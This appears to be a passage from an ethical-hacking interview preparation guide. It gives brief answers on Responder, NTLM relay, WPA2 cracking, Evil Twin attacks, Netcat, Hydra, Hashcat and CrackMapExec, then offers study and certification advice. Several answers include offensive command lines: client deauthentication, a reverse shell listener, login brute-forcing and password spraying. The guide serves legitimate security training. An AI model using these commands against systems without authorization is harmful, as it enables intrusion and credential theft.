Answer: Responder is a network poisoning tool that answers LLMNR, NBT-NS, and MDNS queries. When Windows can't resolve a hostname via DNS, it broadcasts queries that Responder answers, capturing credentials:

• Captures NTLMv1/v2 hashes
• Can relay credentials (NTLM relay attack)
• Built-in servers for SMB, HTTP, FTP, etc.

Usage: responder -I eth0. Crack hashes with Hashcat or relay with ntlmrelayx.

83. What is NTLM relay attack?

Answer: NTLM relay captures NTLM authentication and relays it to another server for unauthorized access. Steps:

• Capture NTLM authentication attempt (Responder, MITM)
• Relay credentials to target server (SMB, LDAP, HTTP)
• Authenticate as victim on target

Tools: ntlmrelayx (Impacket), MultiRelay. Prevention: SMB signing, LDAP signing, Extended Protection for Authentication.

84. What is BloodHound?

Answer: BloodHound is an Active Directory reconnaissance tool that uses graph theory to reveal hidden attack paths. It:

• Collects AD data (users, groups, computers, permissions)
• Visualizes relationships and trust paths
• Finds shortest path to Domain Admin
• Identifies Kerberoastable accounts
• Shows ACL abuse paths

Components: SharpHound (collector), Neo4j (database), BloodHound (GUI). Essential for AD pentesting.

85. What is port forwarding and tunneling?

Answer: Port forwarding and tunneling redirect network traffic to access otherwise unreachable services:

• Local Port Forwarding: ssh -L 8080:internal:80 user@gateway – Access internal:80 via localhost:8080
• Remote Port Forwarding: ssh -R 8080:localhost:80 user@external – Expose local service to external
• Dynamic Port Forwarding: ssh -D 9050 user@gateway – SOCKS proxy

Tools: SSH, Chisel, socat, plink.

86. What are the WiFi security protocols and their weaknesses?

Answer: WiFi security evolution:

• WEP: Broken, easily cracked (RC4 + IV flaws). Never use
• WPA (TKIP): Improved but deprecated, vulnerable to attacks
• WPA2 (AES-CCMP): Current standard, vulnerable to KRACK attack, dictionary attacks on PSK
• WPA3 (SAE): Latest, protects against dictionary attacks, forward secrecy. Some implementations vulnerable

Best practice: WPA2/WPA3-Enterprise with RADIUS, or WPA3-Personal.

87. How do you crack WPA2 passwords?

Answer: WPA2-PSK cracking process:

• 1. Monitor mode: airmon-ng start wlan0
• 2. Capture handshake: airodump-ng -c [channel] --bssid [AP] -w capture wlan0mon
• 3. Deauth clients: aireplay-ng -0 5 -a [AP] wlan0mon
• 4. Crack: aircrack-ng -w wordlist.txt capture.cap or Hashcat for GPU acceleration

Tools: Aircrack-ng suite, Hashcat, hcxtools. Strong passwords resist dictionary attacks.

88. What is an Evil Twin attack?

Answer: Evil Twin creates a fake access point mimicking a legitimate network. Attack flow:

• Clone target AP's SSID (and MAC if needed)
• Broadcast stronger signal than legitimate AP
• Deauth clients from real AP
• Victims connect to evil twin
• Capture traffic, credentials, or perform MITM

Tools: Wifiphisher, hostapd, Fluxion. Prevention: 802.1X, VPN, user awareness.

89. What is Bluetooth hacking?

Answer: Bluetooth attacks exploit wireless personal area networks. Types:

• Bluejacking: Sending unsolicited messages
• Bluesnarfing: Unauthorized access to data (contacts, messages)
• Bluebugging: Taking control of device
• BlueBorne: Remote code execution via Bluetooth

Tools: hcitool, btscanner, Ubertooth. Prevention: Disable Bluetooth when not in use, non-discoverable mode.

90. What is KRACK attack?

Answer: Key Reinstallation Attack (KRACK) exploits WPA2's four-way handshake. By manipulating handshake messages, attackers force nonce reuse, allowing:

• Decryption of packets
• Packet injection
• TCP connection hijacking

All WPA2 implementations were initially vulnerable. Fix: Software patches (update all devices). WPA3 addresses this fundamentally.

91. What are common mobile application vulnerabilities?

Answer: OWASP Mobile Top 10 vulnerabilities:

• Improper platform usage
• Insecure data storage (cleartext, weak encryption)
• Insecure communication (no TLS, certificate issues)
• Insecure authentication
• Insufficient cryptography
• Insecure authorization
• Client code quality
• Code tampering
• Reverse engineering
• Extraneous functionality (hidden backdoors)

92. What tools are used for mobile application testing?

Answer: Mobile pentesting toolkit:

• Android: ADB, Frida, Objection, JADX (decompiler), MobSF, Drozer
• iOS: Frida, Objection, Cycript, class-dump, ipatool
• Both: Burp Suite (proxy), Charles Proxy, mitmproxy
• Static Analysis: MobSF, QARK, AndroBugs
• Emulators: Android Studio, Genymotion

93. What is Kali Linux?

Answer: Kali Linux is a Debian-based distribution designed for penetration testing and security auditing. Features:

• 600+ pre-installed security tools
• Regular updates and tool maintenance
• Multi-platform support (x86, ARM, VM, WSL)
• Customizable for different use cases
• Live boot capability

Tool categories: Information gathering, Vulnerability analysis, Exploitation, Post-exploitation, Forensics, Reporting. Alternatives: Parrot OS, BlackArch.

94. What is Netcat and its uses?

Answer: Netcat (nc) is the "Swiss Army knife" of networking. Uses:

• Port scanning: nc -zv target 1-1000
• Banner grabbing: nc -v target 80
• File transfer: nc -l 1234 > file / nc target 1234 < file
• Reverse shell listener: nc -lvnp 4444
• Chat: Basic two-way communication

Variants: ncat (Nmap's netcat), socat (more features).

95. What is Hydra?

Answer: Hydra (THC-Hydra) is a fast, parallelized network login cracker. Supports 50+ protocols:

• SSH, FTP, Telnet, HTTP, HTTPS
• SMB, RDP, VNC, MySQL, PostgreSQL
• LDAP, IMAP, POP3, SMTP

Usage: hydra -l admin -P passwords.txt target ssh. Options: -L (user list), -P (password list), -t (threads), -V (verbose).

96. What is John the Ripper?

Answer: John the Ripper is a fast password cracker for many hash types. Features:

• Auto-detects hash types
• Multiple attack modes (single, wordlist, incremental, external)
• Supports many formats (Unix, Windows, Kerberos, ZIP, PDF)
• Rule-based wordlist manipulation

Usage: john --wordlist=rockyou.txt hashes.txt. Jumbo version includes more hash types. For GPU: use Hashcat.

97. What is Hashcat?

Answer: Hashcat is the world's fastest password recovery tool using GPU acceleration. Features:

• 300+ hash types supported
• Multiple attack modes (dictionary, brute-force, combinator, rule-based, mask)
• Multi-GPU support
• Distributed cracking

Usage: hashcat -m 1000 -a 0 ntlm.txt rockyou.txt. -m specifies hash type (1000=NTLM), -a attack mode.

98. What is Nikto?

Answer: Nikto is an open-source web server scanner that checks for:

• Dangerous files/CGIs
• Outdated server software
• Version-specific vulnerabilities
• Server configuration issues
• Default files and programs

Usage: nikto -h target.com. Options: -ssl (HTTPS), -port, -Tuning (test types). Note: Nikto is noisy and easily detected.

99. What is Gobuster/Dirb/Dirbuster?

Answer: Directory/file brute-forcing tools:

• Dirb: Original, simple, C-based
• Dirbuster: Java GUI, more features, slower
• Gobuster: Go-based, very fast, supports DNS, vhost, S3
• Feroxbuster: Rust-based, recursive, fast
• ffuf: Fast, flexible, great for fuzzing

Gobuster: gobuster dir -u http://target -w wordlist.txt. Use with SecLists wordlists.

100. What is CrackMapExec?

Answer: CrackMapExec (CME) is a post-exploitation tool for Windows/AD environments. Capabilities:

• SMB, WinRM, LDAP, MSSQL, SSH protocols
• Password spraying
• Pass-the-hash
• Credential dumping
• Command execution
• BloodHound integration

Usage: crackmapexec smb 192.168.1.0/24 -u admin -p password --shares. Essential for AD pentesting.

2. Master Core Tools

Be proficient with essential pentesting tools:

• Nmap for scanning and enumeration
• Burp Suite for web application testing
• Metasploit Framework for exploitation
• Wireshark for network analysis
• Scripting with Python/Bash for automation

3. Prepare for Practical Challenges

Many interviews include hands-on assessments:

• Live box pwning challenges (like OSCP exam)
• Code review for vulnerabilities
• Network packet analysis
• Write exploit code or bypasses
• Report writing exercises

4. Understand Methodology

Know professional pentest methodologies:

• PTES (Penetration Testing Execution Standard)
• OWASP Testing Guide for web applications
• NIST guidelines and frameworks
• Report writing and client communication
• Legal and ethical considerations

How do I prepare for an ethical hacking interview in 30 days?

Week 1: Review fundamentals (networking, Linux, security concepts). Week 2: Master tools (Nmap, Burp Suite, Metasploit). Week 3: Practice on HackTheBox/TryHackMe boxes. Week 4: Mock interviews, OWASP Top 10 deep dive, and report writing practice. Spend 3-4 hours daily minimum.

What skills are most important for ethical hacking interviews in 2026?

Web application testing (OWASP Top 10), network penetration testing, Active Directory attacks, scripting (Python, Bash), cloud security (AWS/Azure), and report writing. Hands-on experience with Burp Suite, Metasploit, and Nmap is essential. Soft skills like communication and methodology matter equally.

Is OSCP necessary for ethical hacking jobs?

OSCP is highly valued but not always required. It's the gold standard that proves hands-on skills through its 24-hour practical exam. For senior roles or security consulting positions, it's often expected. Entry-level positions may accept CEH or eJPT, but OSCP significantly boosts your chances and salary.

Can I become an ethical hacker without a degree?

Yes! Ethical hacking is one of the most skills-based fields in IT. Certifications (especially OSCP), practical experience, CTF rankings, and bug bounty success matter more than degrees. Build a portfolio through HackTheBox, contribute to security tools, and document your findings. Many successful pentesters are self-taught.

Which certification should I start with for ethical hacking?

Start with CompTIA Security+ for fundamentals, then move to eJPT (eLearnSecurity) or CEH for practical introduction to pentesting. Once you have hands-on experience, pursue OSCP for industry recognition. The path: Security+ → eJPT/CEH → OSCP → specialized certs (OSWE, CRTP).